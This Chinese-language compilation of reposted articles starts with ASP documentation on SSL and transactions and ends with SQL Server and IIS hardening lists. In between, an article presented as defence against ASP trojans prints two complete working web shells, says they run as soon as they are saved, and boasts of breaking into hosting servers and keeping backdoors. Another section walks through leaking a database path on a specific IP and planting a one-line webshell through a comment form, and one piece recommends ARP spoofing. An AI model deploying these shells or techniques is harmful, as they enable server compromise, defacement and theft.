    Secure Sockets Layer (SSL) 3.0 协议作为 Web 服务器安全特性，提供了一种安全的虚拟透明方式来建立与用户的加密通讯连接。SSL 保证了 Web 内容的验证，并能可靠地确认访问被限制的 Web 站点的用户的身份。

    通过 SSL，您可以要求试图访问被限制的 ASP 应用程序的用户与您的服务器建立一个加密连接；以防用户与应用程序间交换的重要信息被截取。详细信息，请参阅 加密。

维护包含文件的安全
    如果您从位于没有保护的虚拟根目录中的 .asp 文件中包含了位于启用了 SSL 的目录中的文件，则 SSL 将不被应用于被包含文件。因此，为了保证应用 SSL，应确保包含及被包含的文件都位于启用了 SSL 的目录中。
客户资格认证

    控制对您的 ASP 应用程序访问的一种十分安全的方法是要求用户使用 客户资格 登录。客户资格是包含用户身份信息的数字身份证，它的作用与传统的诸如护照或驾驶执照等身份证明相同。用户通常从委托的第三方组织获得客户资格，第三方组织在发放资格证之前确认用户的身份信息。（通常，这类组织要求姓名、地址、电话号码及所在组织名称；此类信息的详细程度随给予的身份等级而异。）

    每当用户试图登录到需要资格验证的应用程序时，用户的 Web 浏览器会自动向服务器发送用户资格。如果 Web 服务器的 Secure Sockets Layer (SSL) 资格映射特性配置正确，那么服务器就可以在许可用户对 ASP 应用程序访问之前对其身份进行确认。

用于处理资格证明的 ASP 脚本
    作为 ASP 应用程序开发人员，您可以编写脚本来检查资格是否存在并读取资格字段。例如，您可以从资格证明中访问用户名字段和公司名字段。Active Server Pages 在 Request 对象的 ClientCertificate 集合中保存资格信息。详细信息，请参阅 ASP 内建对象。

    必须将 Web 服务器配置为接受或需要客户资格，然后才能通过 ASP 处理客户资格；否则，ClientCertificate 集合将为空。

创建事务性脚本

    商业应用程序常常需要具有在事务内部运行脚本和组件的能力。事务是一种服务器操作，即使该操作包括很多步骤（例如，定货、查看存货、付帐等），也只能整体返回操作是成功还是失败。用户可以创建在事务内部运行的 ASP 脚本，如果脚本的任何一部分失败，整个事务都将会终止。

    ASP 事务处理是以 Microsoft? Transaction Server (MTS) 为基础的。Microsoft? Transaction Server (MTS) 是一个事务处理系统，用于开发、配置和管理高性能、可分级的、有鲁棒性的企业 Internet 和 Intranet 服务器应用程序。Transaction Server 为开发分布式的，基于组件的应用程序提供了一个应用程序设计模型。它也为配置和管理这些应用程序提供了一个运行环境。

    创建事务性脚本的功能内置在 Internet Information Server 和 Personal Web Server 中。如果您安装了 Microsoft Transaction Server，就可以将组件打包，以使组件在事务内部运行。有关组件打包的详细信息，请参阅 创建 MTS 包。

关于事务
    事务是整体成功或失败的操作。事务处理用于对数据库进行可靠地更新。在对数据库进行许多相关更改或同时更新多个数据库时，要保证所有更改都被正确执行。如果这些更改中的任何一个失败，都需要恢复数据库表的原始状态。

    如果没有 MTS，您就需要编写脚本和组件，手工跟踪请求的更改情况，以便在某些更改失败时恢复数据。使用 MTS，您只需简单的将您的脚本和组件声明为“需要事务”并让 MTS 处理事务的一致性。事务处理只适用于数据库访问；MTS 不能对文件系统或其他的非事务性资源的更改进行恢复操作。应用程序所访问的数据库必须为 MTS 所支持。目前，MTS 支持 SQL Server 及任何支持 XA 协议（由 X/Open 协会制定）的服务器。MTS 将继续扩展对其他数据库的支持。

    事务不能跨越多个 ASP 页。如果一个事务需要来自多个组件的对象，则须将使用这些对象的操作组合在一个 ASP 页中。例如，假定有一个组件用于更新工资单数据库，还有一个组件用于更新人力资源数据库中的员工记录。为了记录一个员工的新的工资信息，您需要编写这样一个脚本，该脚本在一个事务环境中调用这两个组件，一个用于更新工资单数据库，另一个用于更新人力资源数据库中的员工等级。

声明事务性脚本
    在将一个页声明为事务性时，此页中的任何脚本命令和对象都运行在同一个事务环境中。Transaction Server 处理生成事务的细节并决定事务成功（提交）或失败（终止）。要将某个页声明为事务性，可在页首添加 @TRANSACTION 指令：

@ TRANSACTION = value

value 参数可以是下列之一：

值 意义

Requires_New 启动一个新的事务。

Required 启动一个新的事务。

Supported 不启动事务。

Not_Supported 不启动事务。

    @TRANSACTION 指令必须在一页中的第一行，否则将产生错误。必须将该指令添加到需要在事务下运行的每一页中。当脚本处理结束时，当前事务即告结束。

    大多数应用程序只有一些特定的操作需要事务环境。例如，一个航空公司的站点可能只需要事务性脚本处理购票和安排座位，而其他所有脚本则无须事务环境即可安全运行。因为事务只须用于需要事务处理的页即可，不要将应用程序的 Global.asa 文件声明为事务性。

    如果事务被终止，Transaction Server 将恢复对支持事务的资源的任何更改。目前，仅数据库服务器完全支持事务，因为数据库中的数据对于企业应用是最为关键的。Transaction Server 不对硬盘上的文件、会话和应用程序的变量、集合等的改变进行恢复。然而您可以如下文主题所述，通过编写事务事件来编写恢复变量和集合的脚本。在某些时候，您的脚本也可以显式的提交或终止一个事务，如向文件写数据失败时。

提交或终止脚本
    因为 Transaction Server 跟踪事务处理，所以它决定事务是完全成功还是失败。脚本可以通过调用 ObjectContext.SetAbort 显式地声明终止一个事务。 例如，当一个事务在从一个组件收到错误消息、违反商业规范时（例如，帐户余额小于 0）或读写文件等非事务性操作失败时，脚本就需要终止该事务。如果页在事务完成之前超时，也必须终止事务。

编写事务事件

    脚本本身不能决定事务是成功还是失败。但是，可以编写提交或终止事务时被调用的事件。例如，假设有一个确认银行帐户的脚本，并且您需要针对事务的不同状态将不同的页返回给用户，那么就可以使用 OnTransactionCommit 和 OnTransactionAbort 事件来编写对用户的不同响应。

@ TRANSACTION = Required

'Buffer output so that different pages can be displayed.

Response.Buffer = True

<HTML>

<BODY>

<H1>Welcome to the online banking service</H1>

Set BankAction = Server.CreateObject("MyExample.BankComponent")

BankAction.Deposit(Request("AcctNum"))
<P>Thank you. Your transaction is being processed.</P>

</BODY>

</HTML>
' Display this page if the transaction succeeds.

Sub OnTransactionCommit()

Response.Write "<HTML>"

Response.Write "<BODY>"

Response.Write "Thank you. Your account has been credited."

Response.Write "</BODY>"

Response.Write "</HTML>"

Response.Flush()

end sub

' Display this page if the transaction fails.

Sub OnTransactionAbort()

Response.Clear()

Response.Write "<HTML>"

Response.Write "<BODY>"

Response.Write "We are unable to complete your transaction."

Response.Write "</BODY>"

Response.Write "</HTML>"

Response.Flush()

End sub
在 MTS 资源管理器中登记一个组件
    为了参与一个事务，组件必须在 MTS 包中登记，而且必须被配置为需要事务。例如，如果您的脚本是通过调用两个组件来处理订单的，一个更新库存数据库，另一个更新付款数据库。那么，这两个组件就要在同一个事务环境中运行。Transaction Server 保证如果任意一个组件失败，那么将不会有数据库被更新。某些组件不需要事务；例如，Ad Rotator 组件。

    注册和配置事务性组件可使用 MTS 资源管理器。必须将事务的属性设置为需要事务或需要新事务。事务组件必须在 MTS 包中注册。不要将组件放在 IIS 内部进程包中，而应该创建自己的包。通常，应将所有的组件放在一个组件库中。组件库的组件可被多个 ASP 应用程序使用并以 ASP 应用程序进程运行。使用 MTS 资源管理器可创建新的包并将包的 Activation 属性设置为 Library。

    也可以在 Server 包中注册事务性组件。Server 包通常以服务器上的一个独立的进程运行。如果希望使用基于职能组的安全性检查或希望您的组件可被远程计算机上的应用程序访问，可对事务性组件使用 Server 包。

    要使用 MTS 资源管理器，必须安装 Microsoft Transaction Server。有关注册组件和选择包类型的详细信息，请参阅 创建 MTS 包。

对象作用域
    一般情况下，不要将从 MTS 组件中创建的对象存储在 ASP Application 或 Session 对象中。 MTS 对象在事务完成后消失。因为 Session 对象和 Application 对象是为在不同 ASP 页之间使用的对象实例设计的，所以不要用它们保存在事务结束时即被释放的对象。

    ASP 脚本是已声名的事务的根，即起始点。任何事务性 ASP 页所使用的 MTS 对象都被认为是事务的一部分。当事务完成后，在页中使用的 MTS 对象将消失，其中包括存储在 Session 或 Application 对象中的对象。在此之后，从另一个事务性页中调用会话作用域或应用程序作用域对象的尝试都将失败。

事务排队
    从一个远程服务器对数据库的更新可能因为网络延迟或故障而导致事务延迟或终止。因为事务的所有部分都必须提交，所以应用程序将可能挂起，等待远程服务器的提交或终止消息，也可能由于无法发送数据库更新而导致事务被放弃。

    对于必须同时完成的更新，正确的做法是在事务的所有参与者都能够提交之前，终止事务或推迟完成事务。例如，航空公司的定票程序应该同时完成对客户的银行帐号计入借方和对航空公司的银行帐户计入贷方。如果一个更新属于事务整体的一部分，但可能晚于其他更新，您可能不希望让客户等待整个更新过程的完成。例如，机票预定事务可能也要向食品供应商发送食品订单或更新客户的旅程津贴。这些操作虽然也必须完成，但可以晚一些。

    Microsoft Message Queue Server 使您能够将一个或一组更新捆绑到一个事务性消息中送给远程服务器。Message Queue Server 保证更新将被发送给远程服务器，即使目前网络不可用。您的应用将收到一个提交消息，从而可以继续处理事务。

    有关在 ASP 应用程序中使用消息队列的示例，请参阅 开发人员范例。要查看这些示例，必须安装 SDK 文档。

    有关 Microsoft Message Queue Server 的详细信息，请参阅 Microsoft Message Queue Server


删除SQL危险存储过程的语句

DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc


服务器如何防范asp木马
随着ASP 技术的发展，网络上基于ASP技术开发的网站越来越多，对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门，也越来越多，而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能，所以这种ASP脚本的木马后门，不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性，对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除，为我们的网管人员提出了更高的技术要求。下面我结合个人的经验，谈一下对两款比较典型的ASP 木马的防范方法，希望对大家能够有所帮助。
以下是第一款木马的代码：
<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
运行后如下图： 在命令行里输入DIR命令点执行就可以查看目录了！！它可以使用各种DOS命令，如：copy、net、netstat等。
但是它的默认执行权限只有GUEST，也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组，那么你就有管理员权限了。这一款木马的特点是，使用很方便。几乎就想当于DOS命令行窗口xx作一样。但是如果服务器限制了FSO（无组件上传），那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认 Web 站点”里使用，所以它相对的适用范围较窄。
对于防范方法让我们看一下它的代码就知道了：
Set oScript = Server.CreateObject("WSCRIPT.SHELL") ＂建立了一个名为oScript的WSCRIPT.SHELL对象，用于命令的执行＂
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象，我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图：值得注意的是：我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下：Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。
大家可能已经想到了，我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时，一定要不容易被黑客们猜到，因为例如：你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成：Set oScript = Server.CreateObject("WSCRIPT.SHELL888")，木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务，设置才会有效。
接下来让我们再来看下一款ASP后门木马程序的代码：
<%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
<%response.write now()%><BR>程序所在的物理路径：
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径：<input type=text name=text5 value="<%=szCMD5 %>">
程序：<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") 目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") 建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%> <%
szCMD1 = Request.Form("text1") 目录拷贝，不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & ""
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szCMD3 = Request.Form("text3") 目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell对象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="" then
path=left(szcmd3,i-1)
exit for
end if
next if len(path)=2 then path=path & ""
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") 执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
要查看目录，只要输入相应的目录，点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE，和执行程序。但很多命令都不能用，例如：del、net、netstat等。这个木马程的功能随然简单，但是用它来黑一个网站是足够了。比如，我们可以把网站的首页MOVE到其它地方，然后我们再COPY一个同名的黑客网页进去，就行了。
最要命的是这个木马适用于任何虚拟主机之中，也就是说我只要是服务器中的一个虚拟空间的用户，我就可以传这个木马上去，并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话，那真是死定了。
然而在我的实践中发现，中国很多的虚拟空间服务商，特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN，然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来，太难听了，应该说DOWN下来的才对。
言归正传，我们应该怎样来防范这个ASP后门木马程序呢？让我们看一下它其中的这一句代码：set shell=server.createobject("shell.application")，跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了，如果是改名，要改得复杂一点，不要让黑客们一下就猜到了。顺便说一句，如果是你给肉鸡打补丁最好是改名，并把名字记下来，这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门，以及如何防范ASP木马后门做一下总结：第一款木马功能上强大一些， 但适用范围窄，需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些，但它创建的是"shell.application"对象。在任何虚拟主机中都适用。（这一点危害确实太大了，提供支持ASP空间的管理员们，你们可得注意了！）
其实跟据对上面两款ASP木马后门的防范，大家可能已经想到了，对于ASP后门木马的防范，我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象（因为它们都是用于创建脚本命令通道的）进行改名或删除，也就是限制系统对“脚本SHELL”的创建，ASP木马也就成为无本之木、无米之炊，运行不起来了。
注：以上代码复制保存为ASP文件就可以直接使用了。


防范非法MAC地址

现在很多校园网络都是ip地址和mac地址绑定的，这样有些没有权限上网的用户会把自己的ip和mac改得和局域网内某个合法用户一模一样，这个时候的上网状况分两种情况。
假设被盗用的ip是IP1，mac是MAC1
1.交换机连接的局域网：
固定mac映射的交换机不会受到影响，盗用者仍然不能上网
动态mac映射的交换机会将从某端口发过来的包的源mac和源ip记录下来，以后发向这个mac的包都扔向这个端口。那么这时两个端口都有主机申明自己的mac是MAC1，交换机会认为最近有过申明的端口的mac是MAC1，它会将发向MAC1的包扔给最近有过申明的端口。也就是说，谁先发包，谁先收到包。如果两台机器同时上网，那发向MAC1的包会轮流发向两个端口。这样会造成包错乱，发给被盗用者的包会发给盗用者，反之亦然。最明显的状况是qq会丢消息。
2.HUB连接的局域网
这种情况很乱，因为包是广播方式的，盗用者和被盗用者都会收到发给MAC1的包，如果是盗用者收到了发给被盗用者的TCP包，盗用者会中断这个连接，那么被盗用者的tcp连接就中断了。明显症状是网页打开一半就打不开了。

下面是打击盗用者的方法，考虑到交换式局域网和共享式局域网的区别，这里提出一种通用方法
1.利用局域网的第三台主机，向MAC1发送arp欺骗包，欺骗盗用者和被盗用者的网关ip-mac地址映射为一个不存在的mac
2.在被盗用者主机上设置一条静态的网关ip-mac地址映射，可以用arp -s命令，考虑到win2000的静态映射不起作用，用一个程序定时执行arp -s命令。xp下就不用定时执行了。
效果：只要盗用者一上网，就会添加一条虚假arp映射，上不了网，而被盗用者不受影响
缺点：仍然不能解决局域网内的主机访问被盗用者的问题，而且盗用者很容易防范


改mdb为asp所带来的灾难

作者：ｓｕｐｅｒｈｅｉ＆Ｌｉｌｏ

可能是随着网络安全技术的发展吧，管理员的素质都在提高，在使用access+asp系统时，为不数据库被人下载，到把mdb改为asp或asa。先不说直接改后缀，直接可以用网快等工具直接下载，其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。
1． 思路
大家都知道<％%>为asp文件的标志符，也就是说一个asp文件只会去执行<% %>之间的代码，access＋asp的web系统的所有数据都是存放在数据库文件里（mdb文件），由于管理者把mdb文件改为了asp文件，如果我们提交的数据里包含有<%%>，那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库，那么asp后缀的数据库就是我们的webshell了。
2． 示例
随便找个目标，首先我们暴库，看是不是asp后缀的数据库：
<http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210>
返回：
Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp，行?4 Microsoft JET Database Engine 错误 '80004005' 'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。 /test/conn.asp，行?
我们提交：<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>返回一堆的乱码，这样我们可以直接用网际快车等工具直接下载数据库（这里我们不讨论）。我们回到主页看到有提供“网友评论”功能。我们注册个用户，发一条评论：
<%execute request("b")%>
这样我们就把asp代码：<%execute request("b")%>写入了数据库，那么数据库：就是我们的webshell咯。提交：<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>在乱码的最后我们看到：
/iisHelp/common/500-100.asp，行?4 Microsoft VBScript 运行时错误 错误 '800a000d' 类型不匹配&Aring;&auml;: 'execut /test/dlog/log_mdb/%29dlog_mdb%29.asp，行?26

哈哈，我们的插入的代码运行了。如下图：
注意：我们在向数据库提交代码时，代码内容不可以太大。所以我们采用<%execute request("b")%>。
3． 其他一些问题和思路
１．对于改了后缀为asp，还对数据库里加入了<%=’a’-1%>等非法的asp代码来彻底防止下载的数据库，由于里面存在了非法的asp代码，插入我们的webshell代码后运行，将只会显示前面非法代码的错误，而不去执行我们shell的代码。虽然这样可以防止一定的攻击，但还是存在一定的隐患，我们只要在出错的代码前加入兼容错误的代码，就可以得到正确显示执行我们插入的webshell代码了。
２．对于没有改后缀的，也就是mdb文件，这样我们可以先直接下载下来得到后台密码，进了后台，可以利用数据库备用改后缀为asp。


[转载]如何防止ASP木马在服务器上运行

信息来源：hackyun.com
    如果您的服务器正在受ASP木马的困扰，那么希望这篇文章能帮您解决您所面临的问题。
    目前比较流行的ASP木马主要通过三种技术来进行对服务器的相关操作。
    一、使用FileSystemObject组件
    FileSystemObject可以对文件进行常规操作
    可以通过修改注册表，将此组件改名，来防止此类木马的危害。
    HKEY_CLASSES_ROOT\Scripting.FileSystemObject\
    改名为其它的名字，如：改为FileSystemObject_ChangeName
    自己以后调用的时候使用这个就可以正常调用此组件了
    也要将clsid值也改一下
    HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值
    也可以将其删除，来防止此类木马的危害。
    注销此组件命令：RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll
    禁止Guest用户使用scrrun.dll来防止调用此组件。
    使用命令：cacls C:\WINNT\system32\scrrun.dll /e /d guests
    二、使用WScript.Shell组件
    WScript.Shell可以调用系统内核运行DOS基本命令
    可以通过修改注册表，将此组件改名，来防止此类木马的危害。
    HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\
    改名为其它的名字，如：改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName
    自己以后调用的时候使用这个就可以正常调用此组件了
    也要将clsid值也改一下
    HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
    HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
    也可以将其删除，来防止此类木马的危害。

    三、使用Shell.Application组件
    Shell.Application可以调用系统内核运行DOS基本命令
    可以通过修改注册表，将此组件改名，来防止此类木马的危害。
    HKEY_CLASSES_ROOT\Shell.Application\
    及HKEY_CLASSES_ROOT\Shell.Application.1\
    改名为其它的名字，如：改为Shell.Application_ChangeName或Shell.Application.1_ChangeName
    自己以后调用的时候使用这个就可以正常调用此组件了
    也要将clsid值也改一下
    HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
    HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
    也可以将其删除，来防止此类木马的危害。
    禁止Guest用户使用shell32.dll来防止调用此组件。
    使用命令：cacls C:\WINNT\system32\shell32.dll /e /d guests
    注：操作均需要重新启动WEB服务后才会生效。
    四、调用Cmd.exe
    禁用Guests组用户调用cmd.exe
    cacls C:\WINNT\system32\Cmd.exe /e /d guests
    通过以上四步的设置基本可以防范目前比较流行的几种木马，但最有效的办法还是通过综合安全设置，将服务器、程序安全都达到一定标准，才可能将安全等级设置较高，防范更多非法入侵。


[转载]SQL Server 安全检查列表

来源：http://www.sqlsecurity.com
1. 确认已经安装了NT/2000和SQL Server的最新补丁程序，不用说大家应该已经安装好了，但是我觉得最好还是在这里提醒一下。
2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。
3. 给 "sa" 和 "probe" 帐户设定强壮的密码来加强其安全性。设定一个强壮的密码并将其保存在一个安全的地方。 注意: probe帐户被用来进行性能分析和分发传输。 当在标准的安全模态中用的时候 , 给这个帐户设定高强度的密码能影响某些功能的使用。
4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户，不要用 LocalSystem 或sa。 这个帐户应该有最小的权利 ( 注意作为一个服务运行的权利是必须的)和应该包含( 但不停止）在妥协的情况下对服务器的攻击。 注意当使用企业管理器做以上设置时 , 文件，注册表和使用者权利上的 ACLs同时被处理。
5. 确定所有的 SQL 服务器数据，而且系统文件是装置在 NTFS 分区，且appropraite ACLs 被应用。 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据，避免造成一场大灾难。
6.如果不使用Xp_cmdshell就关掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 账户操作限制非sa用户使用XP_cmdshell.
在任何的 isql/ osql 窗口中( 或查询分析器)：
use master
exec sp_dropextendedproc'xp_cmdshell'
对 SQLExecutiveCmdExec 的详细情况请查看下列文章:
http://support.microsoft.com/support/kb/article/Q159/2/21.
如果你不需要 xp_cmdshell 那请停用它。请记住一个系统系统管理员如果需要的话总是能把它增加回来。这也好也不好 - 一个侵入者可能发现它不在，只需要把他加回来。考虑也除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。 要找到其他的程序是否使用相同的 dll:
首先得到该 dll 。
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell'
其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll。
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll'
用户可以用同样的办法处理下面步骤中其他你想去掉的进程。
7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些包括:
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你决定停用该进程那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 记住, 我们在这里正在做的是锁定一个应用程序的功能 - 你的开发平台应该放到其他机器上。
8. 禁用你不需要的注册表存取程序。(同上面的警告)这些包括:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring
注意 :我过去一直在这里列出 xp_regread/ xp_regwrite但是这些程序的移除影响一些主要功能包括日志和SP的安装，所以他们的移除不被推荐。
9.移除其他你认为会造成威胁的系统储存进程。 这种进程是相当多的，而且他们也会浪费一些cpu时间。 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试，确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree

10. 在企业管理器中"安全选项" 之下禁用默认登录。(只有SQL 6.5) 当使用整合的安全时候,这使未经认可的不在 syslogins 表中使用者无权登陆一个有效的数据库服务器。

11. 除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。

12. 若非必须，请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ，病毒或是简单实现一个DOS攻击成为可能
13. 检查master..Sp_helpstartup看有无可疑的木马进程。 确定没有人已经在这里放置秘密的后门程序。 使用 Sp_unmakestartup 移除任何可疑进程。
14. 检查master..Sp_password看有无trojan代码。比较你的产品scripts和一个新安装的系统的默认scripts而且方便的保存。
15. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3
16. 重写应用程序使用更多用户定义的储存和察看进程所以一般的对表的访问可以被禁用。 在这里你也应该看到由于不必经常进行查询计划操作而带来的性能提升。

17. 除去不需要的网络协议。

18. 注意SQL 服务器的物理安全。把它锁在固定的房间里，并且注意钥匙的安全。只要有机会到服务器面前，就总是会找到一个方法进入。

19. 建立一个计划的任务运行:
findstr/C:" Login Failed"\mssql7\log\*.*'
然后再重定向输出到一个文本文件或电子邮件，因此你监测失败的登录尝试。这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。 注意: 你可能需要将路径换成你安装SQL的路径。
